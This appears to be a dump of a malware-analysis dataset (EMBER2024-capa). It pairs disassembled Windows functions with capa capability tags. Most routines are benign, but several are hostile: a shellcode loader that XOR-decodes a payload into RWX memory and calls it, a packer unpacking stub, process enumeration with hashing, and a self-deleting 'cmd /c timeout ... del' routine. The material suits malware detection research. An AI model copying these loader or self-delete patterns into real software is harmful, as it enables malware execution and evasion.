joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c820
Capabilities:
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x50
mov rbx, rcx
xor ecx, ecx
mov rax, qword [rbx]
mov dword [rbx + 8], ecx
mov byte [rax], cl
mov rax, qword [rdx]
mov dword [rdx + 8], ecx
mov byte [rax], cl
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.0040c5d8
add rsp, 0x50
pop rbx
ret
Function at 0x41ba14
Capabilities:
Encode data using xor

Disassembly:
test edx, edx
je 0x41bba7
mov eax, edx
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
add ecx, r8d
xor ecx, r8d
dec rax
jne 0x41ba1e
mov eax, ecx
ret
Function at 0x41c234
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, qword [rcx + 8]
mov r13, qword [rcx]
xor r9d, r9d
test rbp, rbp
lea r12d, [r9 + 1]
mov r14d, r8d
mov r15d, edx
mov edi, 0x159a55e5
mov esi, 0x1f123bb5
mov r10, r12
mov r11d, r12d
je 0x41c3e9
movzx ecx, di
shr edi, 0x10
imul ecx, ecx, 0x9069
add edi, ecx
movzx ecx, si
shr esi, 0x10
mov edx, edi
shl edx, 0x10
imul ecx, ecx, 0x4650
add esi, ecx
add edx, esi
xor edx, r14d
mov eax, edx
shr edx, 1
and eax, r12d
je 0x41c3d8
cmp r9, 0x400
jb 0x41c3d8
mov ecx, edx
shr edx, 2
mov r8d, r12d
and ecx, 3
inc ecx
shl r8d, cl
sub r8d, r12d
and r8d, edx
shr edx, cl
mov eax, edx
inc r8d
shr edx, 3
and eax, 7
je 0x41c3a1
mov ecx, edx
shr edx, 2
mov eax, r12d
and ecx, 3
inc ecx
shl eax, cl
sub eax, r12d
and eax, edx
shr edx, cl
add r8d, eax
jmp 0x41c2f5
add r11d, r12d
mov ecx, r11d
mov rax, r12
shl rax, cl
cmp rax, r9
jb 0x41c2f2
cmp r15d, r11d
mov ecx, 5
mov ebx, r15d
cmova ebx, r11d
lea eax, [rcx - 1]
cmp ebx, 0x15
cmovbe ecx, eax
shl r12d, cl
add r12d, 0xffffffff
movzx ecx, di
shr edi, 0x10
mov r10d, r12d
and r10d, edx
movzx edx, si
shr esi, 0x10
imul ecx, ecx, 0x9069
add edi, ecx
add r10d, 6
imul edx, edx, 0x4650
add esi, edx
mov edx, edi
shl edx, 0x10
add edx, esi
xor edx, r14d
cmp r10d, ebx
ja 0x41c322
mov ecx, r10d
mov r10d, 1
mov eax, edx
shl r10, cl
dec r10
and r10, rax
cmp r10, r9
jb 0x41c398
movzx ecx, di
shr edi, 0x10
imul ecx, ecx, 0x9069
add edi, ecx
movzx ecx, si
shr esi, 0x10
mov edx, edi
imul ecx, ecx, 0x4650
add esi, ecx
shl edx, 0x10
add edx, esi
xor edx, r14d
jmp 0x41c322
mov r12d, 1
add r10, r12
mov eax, r8d
lea rdx, [r13 + r9]
mov rcx, rbp
sub rcx, r9
cmp rax, rcx
cmova r8d, ecx
mov rcx, rdx
mov ebx, r8d
sub rcx, r10
add r9, rbx
test r8d, r8d
je 0x41c3e0
mov al, byte [rcx]
add rcx, r12
mov byte [rdx], al
add rdx, r12
sub rbx, r12
jne 0x41c3c7
jmp 0x41c3e0
mov byte [r13 + r9], dl
add r9, r12
cmp r9, rbp
jb 0x41c26e
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x435db4
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x80
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov r12, rcx
mov edx, dword [rcx + 0x20]
mov rax, qword [rcx + 0x18]
mov rsi, qword [rax + rdx*8 - 8]
lea rdx, str.CreateDecoder
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x28], rax
lea rdx, str.CreateEncoder
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x30], rax
lea rdx, str.GetMethodProperty
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x20], rax
xor edi, edi
cmp rax, rdi
je 0x435f81
mov dword [rsp + 0xb0], 1
lea rdx, str.GetNumberOfMethods
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp rax, rdi
je 0x435e53
lea rcx, [rsp + 0xb0]
call rax
cmp eax, edi
jne 0x435ffb
mov ebp, edi
cmp dword [rsp + 0xb0], edi
jbe 0x435f81
mov eax, dword [r12 + 0x20]
dec eax
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x54], ebp
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x5c]
mov r8d, 3
mov edx, ebp
mov rcx, qword [rsi + 0x20]
call fcn.004347a4
cmp eax, edi
jne 0x435ffb
lea rax, [rsp + 0x59]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x6c]
mov r8d, 2
mov edx, ebp
mov rcx, qword [rsi + 0x20]
call fcn.004347a4
cmp eax, edi
jne 0x435ffb
mov rax, qword [rsi + 0x20]
mov word [rsp + 0x38], di
mov word [rsp + 0x3a], di
mov qword [rsp + 0x40], rdi
mov byte [rsp + 0x5a], dil
mov byte [rsp + 0x5b], dil
lea r8, [rsp + 0x38]
mov edx, 0xa
mov ecx, ebp
call rax
mov ebx, eax
cmp eax, edi
je 0x435efe
lea rcx, [rsp + 0x38]
call fcn.0040b964
jmp 0x435f2a
cmp word [rsp + 0x38], 0xb
jne 0x435f17
mov byte [rsp + 0x5b], 1
cmp word [rsp + 0x40], di
setne byte [rsp + 0x5a]
jmp 0x435f1e
cmp word [rsp + 0x38], di
jne 0x435f6e
lea rcx, [rsp + 0x38]
call fcn.0040b964
mov ebx, edi
cmp ebx, edi
jne 0x435f7d
lea rcx, [r12 + 0x60]
call fcn.0043502c
mov ecx, dword [r12 + 0x68]
lea eax, [rcx + 1]
mov dword [r12 + 0x68], eax
imul rcx, rcx, 0x2c
add rcx, qword [r12 + 0x60]
lea rdx, [rsp + 0x50]
mov r8d, 0x2c
call sub.msvcrt.dll_memcpy
inc ebp
cmp ebp, dword [rsp + 0xb0]
jae 0x435f81
jmp 0x435e62
lea rcx, [rsp + 0x38]
call fcn.0040b964
mov ebx, 0x80004005
mov eax, ebx
jmp 0x435ffb
lea rdx, str.GetHashers
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp rax, rdi
je 0x435ff9
lea rcx, [rsi + 0x40]
call rax
cmp eax, edi
jne 0x435ffb
mov rcx, qword [rsi + 0x40]
cmp rcx, rdi
je 0x435ff9
mov rax, qword [rcx]
call qword [rax + 0x18]
mov esi, eax
cmp eax, edi
jbe 0x435ff9
mov ecx, dword [r12 + 0x20]
dec ecx
mov dword [rsp + 0xb0], ecx
mov dword [rsp + 0xb4], edi
lea rcx, [r12 + 0x70]
call fcn.004421a4
mov r11d, dword [r12 + 0x78]
lea eax, [r11 + 1]
mov dword [r12 + 0x78], eax
mov rcx, qword [r12 + 0x70]
mov rax, qword [rsp + 0xb0]
mov qword [rcx + r11*8], rax
inc edi
cmp edi, esi
jb 0x435fb5
xor eax, eax
add rsp, 0x80
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x45b500
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
lea rax, [rsp + 0x40]
mov r9, r8
mov rbx, rcx
mov r8, rdx
mov qword [rsp + 0x28], rax
xor ecx, ecx
xor edx, edx
mov dword [rsp + 0x20], 0
call qword [sym.imp.msvcrt.dll__beginthreadex]
test rax, rax
mov qword [rbx], rax
je 0x45b53b
xor eax, eax
add rsp, 0x30
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 1
test eax, eax
cmovne ecx, eax
mov eax, ecx
add rsp, 0x30
pop rbx
ret

Function at 0x45b560
Capabilities:
Create thread
Resume thread

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x58], rbx
lea rax, [rsp + 0x30]
mov qword [rsp + 0x60], rsi
mov rsi, r9
mov r9, r8
mov rbx, rcx
mov r8, rdx
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x68], rdi
mov dword [rsp + 0x20], 4
call qword [sym.imp.msvcrt.dll__beginthreadex]
test rax, rax
mov qword [rbx], rax
mov rbx, qword [rsp + 0x58]
mov rdi, rax
je 0x45b5c5
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x45b5e6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 1
test eax, eax
cmovne ecx, eax
mov eax, ecx
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x60]
add rsp, 0x48
ret
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x60]
xor eax, eax
add rsp, 0x48
ret

Function at 0x45b860
Capabilities:
Check os version

Disassembly:
sub rsp, 0x148
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x114
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x45b88c
cmp dword [rsp + 0x24], 6
jne 0x45b88c
cmp dword [rsp + 0x28], 0
je 0x45b8b5
lea rcx, [0x0045d9a0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.SetDefaultDllDirectories
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x45b8b5
mov ecx, 0xc00
call rax
add rsp, 0x148
ret
Function at 0x45bbf0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x58
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rdi
cmp word [0x00400000], 0x5a4d
je 0x45bc11
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x45bc8d
movsxd rax, dword [0x0040003c]
lea rcx, [0x00400000]
add rax, rcx
cmp dword [rax], 0x4550
je 0x45bc32
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x45bc8d
movzx ecx, word [rax + 0x18]
cmp ecx, 0x10b
je 0x45bc70
cmp ecx, 0x20b
je 0x45bc4e
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x45bc8d
cmp dword [rax + 0x84], 0xe
ja 0x45bc5f
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x45bc8d
xor ebx, ebx
cmp dword [rax + 0xf8], ebx
setne bl
mov dword [rsp + 0x60], ebx
jmp 0x45bc8d
cmp dword [rax + 0x74], 0xe
ja 0x45bc7e
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x45bc8d
xor ebx, ebx
cmp dword [rax + 0xe8], ebx
setne bl
mov dword [rsp + 0x60], ebx
mov ecx, 1
call qword [sym.imp.msvcrt.dll___set_app_type]
mov qword [0x0047fd88], 0xffffffffffffffff
mov qword [0x0047fd90], 0xffffffffffffffff
mov rcx, qword [sym.imp.msvcrt.dll__fmode]
mov eax, dword [0x0047dd64]
mov dword [rcx], eax
mov rcx, qword [sym.imp.msvcrt.dll__commode]
mov eax, dword [0x0047dd60]
mov dword [rcx], eax
call fcn.00516000
cmp dword [0x0047d7b0], 0
jne 0x45bce7
lea rcx, [0x0045ac70]
call qword [sym.imp.msvcrt.dll___setusermatherr]
lea rdx, [0x0045d4a8]
lea rcx, [0x0045d4a0]
call sub.msvcrt.dll__initterm
mov r11d, dword [0x0047dd5c]
mov dword [rsp + 0x68], r11d
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, dword [0x0047dd58]
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call qword [sym.imp.msvcrt.dll___getmainargs]
lea rdx, [0x0045d498]
lea rcx, [0x0045d440]
call sub.msvcrt.dll__initterm
mov r11, qword [rsp + 0x38]
mov rax, qword [sym.imp.msvcrt.dll___initenv]
mov qword [rax], r11
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov ecx, dword [rsp + 0x30]
call fcn.00458738
mov edi, eax
mov dword [rsp + 0x34], eax
test ebx, ebx
jne 0x45bd73
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
call qword [sym.imp.msvcrt.dll__cexit]
jmp 0x45bd94
mov eax, edi
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x58
ret
Function at 0x1400021f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004380]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002210
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002218
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002210
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000226d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002264
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002210
add rax, 0x28
cmp rax, r9
jne 0x140002250
xor eax, eax
ret

Function at 0x140002270
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004380]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000228f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002298
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000228f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002330
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004380]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000234f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002358
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002680
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
call fcn.140001500
xor byte [0x140003080], 0x6a
mov ecx, 1
movabs rdx, 0x715433567a527059
movabs rax, 0x63374b6d5e38486a
mov qword [rsp + 0x28], rdx
movabs rdx, 0x4d324a65413975
lea r8, [0x14000324c]
mov qword [rsp + 0x20], rax
movabs rax, 0x3550784e7753624c
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], rax
lea rax, [r8 - 0x1cb]
sub ecx, eax
nop dword [rax]
lea edx, [rcx + rax]
and edx, 0x1f
movzx edx, byte [rsp + rdx + 0x20]
xor byte [rax], dl
add rax, 1
cmp rax, r8
jne 0x1400026e8
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.VirtualAlloc
mov rbx, rax
mov rcx, rax
call rdi
mov rcx, rbx
lea rdx, str.Sleep
mov rsi, rax
call rdi
mov r9d, 0x40
mov r8d, 0x1000
xor ecx, ecx
mov rbp, rax
mov edx, 0x1cd
call rsi
lea rsi, [0x140003080]
mov rbx, rax
mov rax, qword [0x140003080]
lea rdi, [rbx + 8]
mov rdx, rbx
and rdi, 0xfffffffffffffff8
mov qword [rbx], rax
mov rax, qword [0x140003245]
sub rdx, rdi
sub rsi, rdx
add edx, 0x1cd
mov qword [rbx + 0x1c5], rax
shr edx, 3
mov ecx, edx
rep movsq qword [rdi], qword [rsi]
mov ecx, 0xbb8
call rbp
call rbx
xor eax, eax
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x45e200
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x58
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rdi
cmp word [0x00400000], 0x5a4d
je 0x45e221
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x45e29d
movsxd rax, dword [0x0040003c]
lea rcx, [0x00400000]
add rax, rcx
cmp dword [rax], 0x4550
je 0x45e242
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x45e29d
movzx ecx, word [rax + 0x18]
cmp ecx, 0x10b
je 0x45e280
cmp ecx, 0x20b
je 0x45e25e
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x45e29d
cmp dword [rax + 0x84], 0xe
ja 0x45e26f
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x45e29d
xor ebx, ebx
cmp dword [rax + 0xf8], ebx
setne bl
mov dword [rsp + 0x60], ebx
jmp 0x45e29d
cmp dword [rax + 0x74], 0xe
ja 0x45e28e
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x45e29d
xor ebx, ebx
cmp dword [rax + 0xe8], ebx
setne bl
mov dword [rsp + 0x60], ebx
mov ecx, 1
call qword [0x00460418]
mov qword [0x00483dc8], 0xffffffffffffffff
mov qword [0x00483dd0], 0xffffffffffffffff
mov rcx, qword [0x00460410]
mov eax, dword [0x00481da4]
mov dword [rcx], eax
mov rcx, qword [0x00460408]
mov eax, dword [0x00481da0]
mov dword [rcx], eax
call fcn.0045d2e0
cmp dword [0x004817b0], 0
jne 0x45e2f7
lea rcx, [fcn.0045d2e0]
call qword [0x00460400]
lea rdx, [0x00460498]
lea rcx, [0x00460490]
call fcn.0045e3f4
mov r11d, dword [0x00481d9c]
mov dword [rsp + 0x68], r11d
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, dword [0x00481d98]
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call qword [0x004603f0]
lea rdx, [0x00460488]
lea rcx, [0x00460430]
call 0x51a000
mov r11, qword [rsp + 0x38]
mov rax, qword [0x004603e0]
mov qword [rax], r11
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov ecx, dword [rsp + 0x30]
call fcn.0045ae04
mov edi, eax
mov dword [rsp + 0x34], eax
test ebx, ebx
jne 0x45e383
mov ecx, eax
call qword [0x004603e8]
call qword [0x004603d8]
jmp 0x45e3a4
mov eax, edi
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x58
ret
Function at 0x140016f80
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x140016f8d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x140016f9d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140016f85
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x140016fb5
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140016fa2
sub eax, 3
jb 0x140016fcf
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140017006
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x140016ff6
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140016ff4
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140016fe3
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.140016f42
jmp 0x140016f8d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x1c00
mov dl, 2
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140017052
cmp rsi, rcx
jae 0x14001705a
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140017039
cmp al, 0x8f
ja 0x140017039
cmp byte [rsi - 2], 0xf
je 0x14001703f
sub al, 0xe8
cmp al, 1
ja 0x140017023
cmp rsi, rcx
jae 0x14001705a
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140017029
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14001705a
lodsb al, byte [rsi]
jmp 0x140017039
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x14000]
mov eax, dword [rdi]
or eax, eax
je 0x1400170b7
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x17000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140017067
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1400170b1
mov qword [rbx], rax
add rbx, 8
jmp 0x140017087
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400170f1
cmp al, 0xef
ja 0x1400170e3
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1400170c3
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1400170d2
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.140017170], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.140017170
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140017160
sub rsp, 0xffffffffffffff80
jmp 0x140001400
Function at 0x1400025e0
Capabilities:
Encode data using xor
Enumerate processes
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x3c0
mov rax, qword [0x140009010]
xor rax, rsp
mov qword [rsp + 0x3b0], rax
xor edx, edx
mov dword [rsp + 0x60], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x60]
mov r15, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400027da
xor r12d, r12d
movabs r13, 0x100000001b3
xor edx, edx
lea rcx, [rsp + 0x2a0]
mov r8d, 0x104
movabs rbx, 0xcbf29ce484222325
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x38], r12
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0x30], r12
lea r8, [rsp + 0x8c]
mov dword [rsp + 0x28], 0x104
mov r9d, 0xffffffff
xor edx, edx
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0x40], r12
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], 0xf
inc r8
cmp byte [rax + r8], r12b
jne 0x1400026c2
lea rdx, [rsp + 0x2a0]
lea rcx, [rsp + 0x40]
call fcn.1400019c0
mov r14, qword [rsp + 0x58]
lea r8, [rsp + 0x40]
mov rsi, qword [rsp + 0x40]
cmp r14, 0x10
mov rdi, qword [rsp + 0x50]
mov rcx, rbx
cmovae r8, rsi
mov rdx, r12
test rdi, rdi
je 0x140002724
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx + r8]
inc rdx
xor rcx, rax
imul rcx, r13
cmp rdx, rdi
jb 0x140002710
and rcx, qword [0x140009730]
mov rax, qword [0x140009718]
add rcx, rcx
mov rbx, qword [rax + rcx*8 + 8]
cmp rbx, qword [0x140009708]
je 0x140002789
mov rbp, qword [rax + rcx*8]
nop word [rax + rax]
cmp qword [rbx + 0x28], 0x10
lea rdx, [rbx + 0x10]
jb 0x14000275f
mov rdx, qword [rbx + 0x10]
cmp r14, 0x10
lea rcx, [rsp + 0x40]
cmovae rcx, rsi
cmp rdi, qword [rbx + 0x20]
jne 0x14000277e
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14000278c
cmp rbx, rbp
je 0x140002789
mov rbx, qword [rbx + 8]
jmp 0x140002750
mov rbx, r12
cmp r14, 0x10
jb 0x1400027bf
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400027b7
mov rsi, qword [rsi - 8]
add rdx, 0x27
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000280d
mov rcx, rsi
call fcn.140003eec
test rbx, rbx
jne 0x140002814
lea rdx, [rsp + 0x60]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14000264a
mov al, 1
mov rcx, qword [rsp + 0x3b0]
xor rcx, rsp
call fcn.140003e90
lea r11, [rsp + 0x3c0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor al, al
jmp 0x1400027dc
Function at 0x1400013b0
Capabilities:
Create process on windows
Self delete

Disassembly:
sub rsp, 0x368
mov rax, qword [0x1400190d8]
xor rax, rsp
mov qword [rsp + 0x350], rax
mov r8d, 0x104
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140001432
lea rax, [rsp + 0x30]
mov r9d, 0x1d
lea r8, str.cmd__c_timeout__T__d__NOBREAK__del___s_
mov qword [rsp + 0x20], rax
mov edx, 0x208
lea rcx, [rsp + 0x140]
call fcn.140001060
xor eax, eax
lea r9, [rsp + 0x140]
mov dword [rsp + 0x28], eax
lea r8, str.cmd.exe
lea rdx, str.open
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, qword [rsp + 0x350]
xor rcx, rsp
call fcn.14000c790
add rsp, 0x368
ret

Function at 0x140001f24
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x60
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
cmp dword [rcx + 0x118], 6
